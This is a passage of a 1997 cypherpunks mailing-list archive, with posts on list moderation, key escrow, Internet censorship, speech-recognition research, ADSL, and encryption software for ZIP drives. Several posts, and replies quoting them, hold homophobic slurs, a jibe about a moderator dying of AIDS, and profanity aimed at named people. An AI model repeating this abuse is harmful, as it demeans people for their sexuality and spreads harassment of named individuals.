national problem we face. Let's try to solve it now so that our
grandchildren won't have to fight this fight again.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 17:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Armenians want to know...
In-Reply-To: <7E1ABE2475@fsaua.aua.am>
Message-ID: <3VLy1D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachalian sure gets around...

>From AARARATY@aua.am  Wed Jan 22 07:01:23 1997
>Received: by bwalk.dm.com (1.65/waf)
>	via UUCP; Wed, 22 Jan 97 07:30:15 EST
>	for AARARATY@aua.am
>Received: from fsaua.aua.am (fsaua.aua.am [10.1.0.3]) by ararat.aua.am (8.6.12/8.6.12) with ESMTP id PAA08515 for <cismap@dm.com>; Wed, 22 Jan 1997 15:24:30 +0400
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>From: "Ara Araratyan" <AARARATY@aua.am>
>Organization:  American University of Armenia
>To: cismap@dm.com
>Date:          Wed, 22 Jan 1997 15:07:36 +0400
>Subject:       Request For Information
>Priority: normal
>X-Mailer: Pegasus Mail v3.22
>Message-Id: <7E1ABE2475@fsaua.aua.am>
>
>Dear Sir,
>
>If it is not hard for you, please, send me more information about
>your organization.
>
>Sincerely,
>Ara Araratyan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Wed, 22 Jan 1997 01:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <19970122090827.7572.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


>From owner-freebsd-hackers@freefall.freebsd.org Wed Jan 22 09:05:30 1997
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From: Gary Roberts <gdr@ajax.wcs.uq.edu.au>
Message-Id: <199701220818.SAA11281@ajax.wcs.uq.edu.au>
Subject: Re: Commerical applications (was: Development and validation
To: jkh@time.cdrom.com (Jordan K. Hubbard)
Date: Wed, 22 Jan 1997 18:18:42 +1000 (EST)
Cc: hackers@FreeBSD.ORG
In-Reply-To: <1045.853896142@time.cdrom.com> from "Jordan K. Hubbard" at Jan 21, 97 05:22:22 pm
Organisation: The University of Queensland
Phone: +617 3844 0400
Reply-To: gdr@wcs.uq.edu.au
X-Mailer: ELM [version 2.4 PL24]
Sender: owner-hackers@FreeBSD.ORG
X-Loop: FreeBSD.org
Precedence: bulk

Jordan K. Hubbard writes:

> But that doesn't even raise the biggest issue, which is:
> 
> > 	Freddy Kruger (Kruger@ElmStreet.org) has submitted the
> > 	following policy topic for discussion:
> > 
> > 	> FreeBSD should move from a.out to ELF.
> > -------------------------------------------------------------------------
> > 	[ ... various amounts of discussion for 5 days ... ]
> 
> Freddy raises the issue and 10 people vote on it, 7 feeling ELF-ish
> enough that the motion "passes."
> 
> Now what?  We've got this as a supposed piece of "FreeBSD Policy" now
> and users will surely expect it to be implemented or there wouldn't be
...

Actually, I think you'll find he was proposing a two stage process
where the above example only allows a further vote to be taken as to
whether or not it should become `policy'.  This second stage is where
you spend your vote tokens if you want to stop something passing.

You are really alluding to the possibility of things `passing' due to
apathy of the vast majority.  That could be easily fixed.  I imaging
that people with `vote tokens' have them because they are registered
as `adherents' to the FreeBSD religion.  The Votebot could send each
adherent a re-registration slip, say every three months.  No reply
means you are automatically removed from the adherents list and your
voting rights disappear.  You can easily re-instate yourself at any
time and your previous vote tokens (if any) are then restored.
In this way you trim out people who have lost the religion.

At the first stage of voting, a decision to have a real vote on a
policy change will *only* be made if (a) a significant fraction of
adherents take part in the vote AND (b) there is a majority of `yes'
over `no'.  That way, if there is general apathy, the thing dies.

At the second `real vote' stage, you must then decide whether to
spend your vote tokens.  Once again, things `pass' only if a quorum
is involved and there is a majority of `yes' over `no' votes.
The required quorum could be quite different for the first and
second stages of voting.  For example, the quorum to decide whether
or not to put things to a vote could be set at say 20% which would
not stifle the process but the quorum to actually change policy
could be say 40 - 50% to make sure that a vocal minority couldn't
`roll' the silent majority.

Terry did offer to implement the voting system.  Why not take
him up on his offer with the first question to be decided being:-

Q. Should changes in FreeBSD policy be made by an auto-voting system?

and if you get a `yes' on that then the second could be:-

Q. Does the Emperor have some clothes after all??  :-).

Seriously, it might be useful to have the user community vote on
important policy issues (like a.out versus ELF) knowing that there is
really no binding commitment on volunteers to do anything if it
doesn't suit the volunteers.  I'm sure everyone really does understand
and accept that.  It would also be useful to kill off discussion that
has exceeded its use-by date (like this thread) by putting it to a
vote and then getting on with more useful things.

All the above is, of course, IMHO.

Cheers,
-- 
Gary Roberts  (gdr@wcs.uq.edu.au) (Ph +617 3844 0400  Fax +617 3844 0444)
4th Floor, South Bank House, 234 Grey St, South Bank  QLD 4101  Australia.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Tue, 21 Jan 1997 23:25:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition
Message-ID: <85391794600049@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've found another collection of references on speech scanning/recognition, the
February 1989 CACM, p.193, contains 38 references going back to 1980.  It'd be
an interesting exercise for anyone with access to a large library to trace back
through these (some of them look promising, like a 1980 book "Trends in Speech
Recognition" from which a number of references are taken) to see how far back
you can go and at what point certain things became feasible.  The CACM
references would be a good starting point for a search.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 18:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fascist censorship
Message-ID: <82oy1D117w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I notice that both my highly crypto-relevant, flame-free article and
Igor Chudov's response to it were rejected by the fascist moderator
Sandfart and showed up immediately on the cypherpunks-flames address.

Apparently Sandfart automatically rejects any submissions with my name
in them. Or he's already dead from AIDS and has been replaced by a 'bot.

I also notice that John Gilmore's employees from Cygnus Support
are flaming me on sci.crypt and accusing me of homophobia.

Please help expose Cygnus Support as a homosexual fraud.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: afc@furnituredirect.com
Date: Wed, 22 Jan 1997 21:05:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Furniture Catalog
Message-ID: <199701230513.VAA02923@server.ardennet.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.furnituredirect.com - Advanced Furnishing Concepts
We are the Internets largest furniture retailer. With thousands of items to choose from,
you're sure to find just what your looking for in a short time. Our on-line catalogs are
designed to be very simple to browse. No complicated menus, frames or other
complexities, just a simple format to get you right to where you want to go. Secure
Ordering for your protection, or call us at 1-800-407-8273 to order.
REGISTER FOR MONTHLY CONTEST ! WIN $100 !
Reply Remove if you wish.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 22 Jan 1997 18:30:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fuck Sandy Sandfart
Message-ID: <0mPy1D118w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a test.  This is only a cocksucking test.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Wed, 22 Jan 1997 12:25:18 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E45AA6.330A@gte.net>
Message-ID: <Pine.LNX.3.95.970122145822.5838F-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 20 Jan 1997, Dale Thorn wrote:

> hjk wrote:
....
> > I wonder who is so brainless, not to understand what's going on.
> > Do you really think the subscribers are pure Idiots?
> 
> Well, Heinz.  You live in a country full of people, ordinary people,
> variously called the hoi polloi, the sheeple, the unwashed masses,
> and other interesting names.
> 
... 
> Now whatever you think of your fellow citizens, or even those of the
> USA (to name an example), I'm sure is OK on whatever basis you apply
> your judgement.  But I guarantee you that the people on the cypherpunks
> list are no more or less intelligent than the people who vegetate in
> front of their TV sets every day, right there where you live, in all
> probability. If you believe that your fellow citizens vote intelligently,
> then I respond that cypherpunks vote intelligently.  What do you think?
> 

Well, I thought cypherpunks claim to be elite.

Heinz-Juergen Keller
hjk@ddorf.rhein-ruhr.de





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 22 Jan 1997 19:16:36 -0800 (PST)
To: Carl Ellison <cme@cybercash.com>
Subject: Re: David Kahn advocates GAK
In-Reply-To: <199701230027.QAA01813@toad.com>
Message-ID: <Pine.GSO.3.95.970122221214.22446C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


It is indeed a shame, and Carl's response was (of course) excellent.

The last chapter of the revised edition of the Codebreakers is reasonably
pro-government in the way it lays out the issue of key escrow, so perhaps
we shouldn't be surprised. (I'm told that David's sojourn at the NSA
museum was unexciting;  they wouldn't tell him much.) :) 

-Declan



On Wed, 22 Jan 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> It might also be that David's year long sabatical at NSA's crypto museum 
> which recently ended put him in touch with people who believe in GAK.
> 
> I found it interesting that he noted the argument that each additional
> day of government access is a good thing.  This is the kind of belief
> we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
> it publicly admitted before.
> 
>  - Carl
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> 
> iQCVAwUBMuZ35lQXJENzYr45AQEcfwQAqMftG0DXn1nr6faA6IHeAtqSXYanwnZb
> DiwqppU4nJqPtIvtFw8eOVVwyYCzIv046dFtwR2mk8HeL1v8I3R2sWm7waknFjlm
> TM84+vLamlVnBNPUAXRYOrFiEhPQm/iitR4GVrcga9mHJ+vrI38XQGzi0lxdg310
> pWjq5Fxahag=
> =xhF7
> -----END PGP SIGNATURE-----
> 
> 
> +------------------------------------------------------------------+
> |Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
> |   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
> +-Officer, officer, arrest that man. He's whistling a dirty song.--+
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:17:33 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <Pine.LNX.3.95.970122145822.5838F-100000@alien.ddorf.rhein-ruhr.de>
Message-ID: <32E70250.7D91@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> On Mon, 20 Jan 1997, Dale Thorn wrote:
> > hjk wrote:

> > Now whatever you think of your fellow citizens, or even those of the
> > USA (to name an example), I'm sure is OK on whatever basis you apply
> > your judgement.  But I guarantee you that the people on the cypherpunks
> > list are no more or less intelligent than the people who vegetate in
> > front of their TV sets every day, right there where you live, in all
> > probability. If you believe that your fellow citizens vote intelligently,
> > then I respond that cypherpunks vote intelligently.  What do you think?

> Well, I thought cypherpunks claim to be elite.

Most of the erstwhile elite types do the ordinary things in a quite
ordinary way.  Get dressed, eat, collect and send e-mail, and so on.

The un-ordinary things (for example) are the thought processes which
take place while typing out a post.  Those thought processes don't
generally intersect directly with the mundane things such as operating
the computer, unless the operations themselves are unusual and demand
the full attention of the person involved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:23:55 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701230025.SAA05664@manifold.algebra.com>
Message-ID: <32E703E4.4E9C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> But think about this: suppose there is a couple, bob@household.com,
> and alice@household.com. Suppose that Rev. Mallory does not like bob.
> Mallory forges a lot of emails like "I can still taste your sperm
> on my lips", that appear to originate from Cindy@phonesex.org.
> Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> warning her about naughty email activities of bob. Alice gets mad at him
> and divorces him.
> How would bob protect himself against such developments?

Frame-ups are as old as time.  The ones that work the best are those
that are the most believable.  O.J., for example.  Unless Alice is
unusually flaky or paranoid, she'll consider her options against the
time she has invested in Bob.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 22 Jan 1997 22:39:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: crypto-relevant
Message-ID: <199701230639.WAA02474@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>To: cypherpunks@toad.com
>Subject: Fascist censorship
>Sender: owner-cypherpunks-unedited@toad.com
>Precedence: bulk
>I notice that both my highly crypto-relevant, flame-free article and
>Igor Chudov's response to it were rejected by the fascist moderator

Yeah, that's kinda weak!  I have found a few other posts in the 
'Error' list that may not have belonged there.  Fascist?  I'm not 
sure that's exactly what we are dealing with here.  Hidden agendas, 
yes.

>Sandfart and showed up immediately on the cypherpunks-flames address.
>
>Apparently Sandfart automatically rejects any submissions with my name
>in them. Or he's already dead from AIDS and has been replaced by a 'bot.

Now, Dr., that's a little bit insensitive.  AIDS is a pretty tragic 
illness.

>
>I also notice that John Gilmore's employees from Cygnus Support
>are flaming me on sci.crypt and accusing me of homophobia.

I'll have to start reading that group, to check up on the agents 
further.

>
>Please help expose Cygnus Support as a homosexual fraud.
>
>---

And I thought this next part was pretty funny.  Test test is this 
thing on?

>
>From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>To: cypherpunks@toad.com
>Subject: Fuck Sandy Sandfart
>Sender: owner-cypherpunks-unedited@toad.com
>Precedence: bulk
>This is a test.  This is only a cocksucking test.



=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:50:59 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: YEEHAW! Tobacco argument heats up in AZ
In-Reply-To: <199701230615.XAA06580@infowest.com>
Message-ID: <32E70A37.FC5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> summary: AZ AG filed for an injunction in the public interest to stop
> the sale of tobacco in AZ.  tobacco company response claimed he was
> infringing on legislative rights...   full story is below.

> ::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
> :: motions on Tuesday in a bid to dismiss the Arizona Attorney
> :: General's law suit which seeks to ban the sale of tobacco in the
> :: state.  Lawyers for two of the defendants, Brown & Williamson
> :: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
> :: statement the proposed ban would eliminate tax revenue from the
> :: sale of tobacco which is used to fund healthcare and education
> :: programs statewide.

The Indians in Arizona have some special tax breaks on cigs, as a
"sovereign nation" treaty deal or something, yes?  Would this ban
create any interesting opportunities?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 21:32:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
In-Reply-To: <9700228539.AA853956802@smtplink.alis.ca>
Message-ID: <32E70D8F.4CF8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 
> jbugden@smtplink.alis.ca wrote:
> > A previous poster mentioned that because of the copper wire restriction, that
> > they may deploy first in older centers. This would appear to be the case, since
> > a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
> > unlimited internet access. Saskatoon falls into this category - in my opinion.
> >
> > I was only is SK briefly over New Years, but perhaps Toto can fill in details.
> 
> James,
>   SaskTel has, for the most part, always had a monopoly on the telephone
> business in Saskatchewan, and used this to keep the phone rates fairly
> high. On the other hand, they also used much of the money to position
> themselves to keep their monopoly by investing heavily in the newest
> technologies.
>   As a result, they have a lot of fiber-optic, etc., even in the
> boondocks, but they also soaked those people $ 6.00 hour for
> InterNet access, until Sympatico came in with a competitive rate
> of less than $ 1.00/hour, and then they stopped clipping the
> sucker/citizens.
>   SaskTel left the 'upgrading' of the larger centers to last, and
> as a result, their 'old' technology seems to be ironically beneficial
> to them in being able to offer ADSL in Saskatoon, Regina, and a couple
> of other centers.
> 
> Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 22 Jan 1997 20:58:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230505.XAA08921@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Jan 1997 23:08:41 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> On Wed, 22 Jan 1997, Jim Choate wrote:
> 
> > 'We' shouldn't, it is their own country and it is up to their populace to
> > stop it. Do you really want Singapore or China having a say in how we run
> > our web? I certainly don't, and won't support any move to force any
> > particular view on them.
> 
> I don't want China or Singapore to have a say in how the web is run which is

There is no 'the web'. I run a Internet site which is connected 24 hours a
day at my expence which contains a web site. If you think that is 'your' web
then drag your ass to Austin, TX. and start paying the $600 of bills each month
for 'your' web. Quit thinking that what you have and want is what everyone
else has or wants. Grow up. The goal is to keep THEM from bothering YOU, not
the otherway around, they will take care of that using the same tools and
techniques you do.

> exactly why I would support any effort to make their filtering systems useless.
> What I put on my web page is my business and I can change the location of the

And you don't have a right to tell them what to do with their computers or
their citizens.

> URL as many times as I want and try to make it as difficult as possible to
> filter it.  These countries have no say in whether or not I can do this.  If

And you should have no say in what they do with their resources.

> they want to censor their Internet feed, that's their problem and I'm under no
> obligation to make it easy for them.

And their under no obligation to let you run around and force your views on
them anymore than you would accept that sort of behaviour from them.

Wake up, what goes around, comes around.

> If it's forced upon the people, it's not a choice.

Which people? Who is doing the forcing? If Singapore citizens are content to
let Singapore officials filter their newsfeeds or whatever that is
Singapores business, not yours. It acts as a concrete real-world object
model on how NOT to do it here, nothing else. Whether you like it or not
both people and governments have a fundamental right to make mistakes. It
comes with the territory. Loose this fantasy you have that there is one way
to run the world, there isn't. People are entirely too diverse for any
single view to rule for any length of appreciable time irrespective of how
much force might be used to promulgate it.

>  Ultimately, the people can
> abolish the government if it becomes tyrannical, but not without a lot of lives
> being lost.  I'd much rather try to make sure that people in these countries
> have free access to information than watch people getting crushed by tanks.

Who made you responsible for them? If you are responsible for them then you
are responsible for me? Not in your wildest wet dream junior. You simply
aren't that important in the scheme of things.

You can't have one without the other. The tree of liberty has to be watered
with blood. Your position is that as long as it isn't your blood then it is
ok. Other people have the same right. Personaly, I don't like the idea of
other people deciding that it is time to spill my blood to water their tree.
The point of the exercise, left up to the student to resolve, is to avoid
this entire scenario, not shift the blame to some other entity.

> > You don't like it, don't live there and don't try to
> > call there. You or I have no more right to be on a Chinese or Singapore
> > Internet than they have in coming into yours or my home without an
> > invitation.
> 
> These countries want the benefits of being connected to the Internet without
> the burdens of the citizens having free access to information.  It just doesn't
> work that way. 

It works whatever way the people doing it want it to run.

Let me say it again,

GOVERNMENTS ARE PEOPLE MAKING DECISIONS ABOUT PEOPLE, INCLUDING THEMSELVES,
WHICH THEY BELIEVE ARE IN THEIR BEST INTEREST. IF IT DOESN'T FIT WITH YOUR
PARTICULAR IMAGE OF WHAT 'BEST INTEREST' IS, TOUGH SHIT.

> They can pull the plug if they want.  If they don't, then they
> have no right to complain about how people are smuggling subversive information
> into their respective countries.

Then we have no right to complain about Columbian drug cartels, Russian
contraband nuclear weapons, sarin nerve gas promulaged by Japanese religious
zealots, etc.

Let me say this again,

A FUNDAMENTAL RIGHT OF ALL LIVING BEINGS IS TO PROTECT THEMSELVES THE BEST
WAY THEY SEE FIT AGAINST A PERCEIVED THREAT TO THEIR CONTINUED EXISTANCE. IT
MAKES NO DIFFERENCE IN THE SHORT TERM IF THAT THREAT IS REAL OR NOT.

>  If the information was "uninvited", then
> nobody would be downloading it or accessing it anyway.

This is silly and completely misleading.

> Countries that want to censor their internet connections have the choice of
> either facing extreme economic difficulties as a result of not being connected
> to the Internet, or giving their people access to information that the
> government doesn't want these people to access.  Either way, it will force
> these countries to change in some way.  I think most of them will eventually
> settle for the latter choice.  Allowing these countries to censor their
> connections will result in violence that could otherwise be avoided.

Really? Where is your object model? Seems like we get in a situation where
we are using violence against people with the reason being we are protecting
them against violence.

Now THAT sounds like some sort of neo-Nazi bullshit. You should apply for
work at the DEA, you would pass their psych screens with flying colors.

I have three quotes you might do well to ponder while you plan your next
over-throw...


                       "Study nature, not books"

                                  Louis Agassiz


           "The best lack all conviction, while the worst are full
            of passionate intensity."

                                                 Yeats

                              "You are
                               What you do
                               When it counts"

                                      The Masao



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 22 Jan 1997 20:04:17 -0800 (PST)
To: cypherpunks <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701221210.EAA23236@toad.com>
Message-ID: <Pine.LNX.3.95.970122224825.2011B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 22 Jan 1997, Jim Choate wrote:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

I don't want China or Singapore to have a say in how the web is run which is
exactly why I would support any effort to make their filtering systems useless.
What I put on my web page is my business and I can change the location of the
URL as many times as I want and try to make it as difficult as possible to
filter it.  These countries have no say in whether or not I can do this.  If
they want to censor their Internet feed, that's their problem and I'm under no
obligation to make it easy for them.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. The web and technology in general have
> no more ethics or morality intrinsicly in them than a 5/8" open end
> wrench. Blocking and filtering are an expression of human choice and the
> implimentation thereof.

If it's forced upon the people, it's not a choice.  Ultimately, the people can
abolish the government if it becomes tyrannical, but not without a lot of lives
being lost.  I'd much rather try to make sure that people in these countries
have free access to information than watch people getting crushed by tanks.

> You don't like it, don't live there and don't try to
> call there. You or I have no more right to be on a Chinese or Singapore
> Internet than they have in coming into yours or my home without an
> invitation.

These countries want the benefits of being connected to the Internet without
the burdens of the citizens having free access to information.  It just doesn't
work that way.  They can pull the plug if they want.  If they don't, then they
have no right to complain about how people are smuggling subversive information
into their respective countries.  If the information was "uninvited", then
nobody would be downloading it or accessing it anyway.

Countries that want to censor their internet connections have the choice of
either facing extreme economic difficulties as a result of not being connected
to the Internet, or giving their people access to information that the
government doesn't want these people to access.  Either way, it will force
these countries to change in some way.  I think most of them will eventually
settle for the latter choice.  Allowing these countries to censor their
connections will result in violence that could otherwise be avoided.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 23:12:45 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Keywords scanning/speech recognition
In-Reply-To: <MAPI.Id.0016.00656c73657920204146354330303030@MAPI.to.RFC822>
Message-ID: <32E70F3F.4F9B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Amanda Walker wrote:
> John Kelsey <kelsey@email.plnet.net> wrote:

> This may or may not be relevant, but I was a math major during an NSA college-
> recruitment drive in the early 1980s.  As part of the "come work for the NSA"
> packet they were giving out, they had a sample issue of the NSA internal
> linguistics journal.  One of the articles concerned a system called DYPTRACK,
> which tracked the pitch of a digitized voice signal to an impressive degree of
> accuracy.  This would imply that the NSA, at least, had invested considerable
> resources into digital speech analysis as early as the late 1960s or early
> 1970s (since by 1980 DYPTRACK was un-sensitive enough to be described in
> college recruitment material).

I have a CD today (used to be an LP in the late 1970's) of Enrico
Caruso arias, digitally processed thru something called Stockham/
Soundstream digital process, circa mid-late 1970's.

They took a number of samples of a modern (1970's) tenor's singing
(someone whose voice had similar characteristics to Caruso's) and had
the computer run it against the original Caruso recordings in an
attempt to subtract out extraneous noise, resonances, and so on.

The process helped somewhat, making the voice seem closer intead of
somewhere a couple of rooms over, but the essential quality of the
mechanically-recorded sound was still there, i.e., very dull and not
at all life-like.

They were supposed to release a lot more of this stuff, and they did
some, but major interest was never there, and I haven't heard any more
about further research in the intervening years, although I'll bet it's
gone way beyond where it was.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 20:17:16 -0800 (PST)
To: dccp@eff.org
Subject: P.S. David Kahn's editorial today
Message-ID: <3.0.32.19970122231547.00bc82f0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I just sent the following P.S. to newsday.com

			----------------------

There is another reason to have cellular phones which encrypt only the 
over-the-air portion of a call, besides the fact that we can leave normal 
wiretap access procedures in place and not surrender civilian crypto keys to 
the government.

If I have a cellular phone which encrypts over the air (between the phone 
and the base station) and I call you, while you have a normal wired phone, 
our call is protected by cryptography from interception off the air.

If I use an AT&T Clipper-style cellular phone, as David suggested, and I 
call you on a normal wired phone, we can't encrypt the conversation and it 
is vulnerable to interception.  The protection works *only* if both parties 
have encrypting phones while interoperate.

  - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 23:27:10 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <199701230633.AAA00525@manifold.algebra.com>
Message-ID: <32E712A6.6596@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > hjk wrote:
> > > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > Most of the erstwhile elite types do the ordinary things in a quite
> > ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> > The un-ordinary things (for example) are the thought processes which
> > take place while typing out a post.  Those thought processes don't
> > generally intersect directly with the mundane things such as operating
> > the computer, unless the operations themselves are unusual and demand
> > the full attention of the person involved.

> So what?

The so what is that hjk believed that since cypherpunks were "elite",
it followed that they would notice certain administrative messages more
than non-elite people, and also remember those messages better.

I had no contention with the remember-better part, assuming that was
stated somewhere, but my argument is that greater intelligence does
not necessarily lead to paying better attention to mundane everyday
things like administrative messages and notices. The specific example
was whether most cypherpunks subscribers would take more than momentary
notice of the new list arrangements, and whether they would consciously
think about whether they should change their status (subscription), and
if so, why.  My contention is that most would not give it any serious
amount of attention.  This is no different IMO than whether erstwhile
"intelligent" people pay greater attention to road signs while driving
than people of average mental power do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 22 Jan 1997 20:49:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701230448.XAA28286@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> who is usually answering questions, wrote:

>>>I am looking for a transparent (strong) encryption of ZIP drives.
>>>Any advice would be appreciated.
<snip>

>Parallel on Win95.

        Hi Lucky,

        RSA has got their Win95 version of SecurPC.  That's 128-bit RC4
encryption; maybe 10X the speed of DES.  You could encrypt your zip data
from Explorer either on demand, or automatically upon exiting WIN95. (It
auto-decrypts on startup.)  SecurPC doesn't  yet have transparent (fully
background) crypto, but given the market pressures, it obviously won't be
long in coming. 

        SecurPC does have a number of other unusual features that might
offset the lack of transparency.  My favorite: At least until the next
version of ERA;-) RSA's SecurPC permits you to ship data over the US borders
encrypted with 128-bit RC4 in a self-extracting file which can be opened by
anyone, anywhere --  with the same OS as the sender, and the right
(one-time?) password -- even if they don't have a copy of SecurPC.   

         The key, passed out of band, is certainly not up to PKC
standards... but for occasional connections, if you duck the dictionary
attack, it looks pretty damn sturdy. One-way symmetric-- kinda neat!
(Anyone know how it really works?  I got a copy of the v1 user's manual from
SDTI, where I do a lot of contract work -- but it doesn't really explain the
split of  functions. I'll have to ask.)

       Suerte,
                        _Vin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Wed, 22 Jan 1997 21:01:11 -0800 (PST)
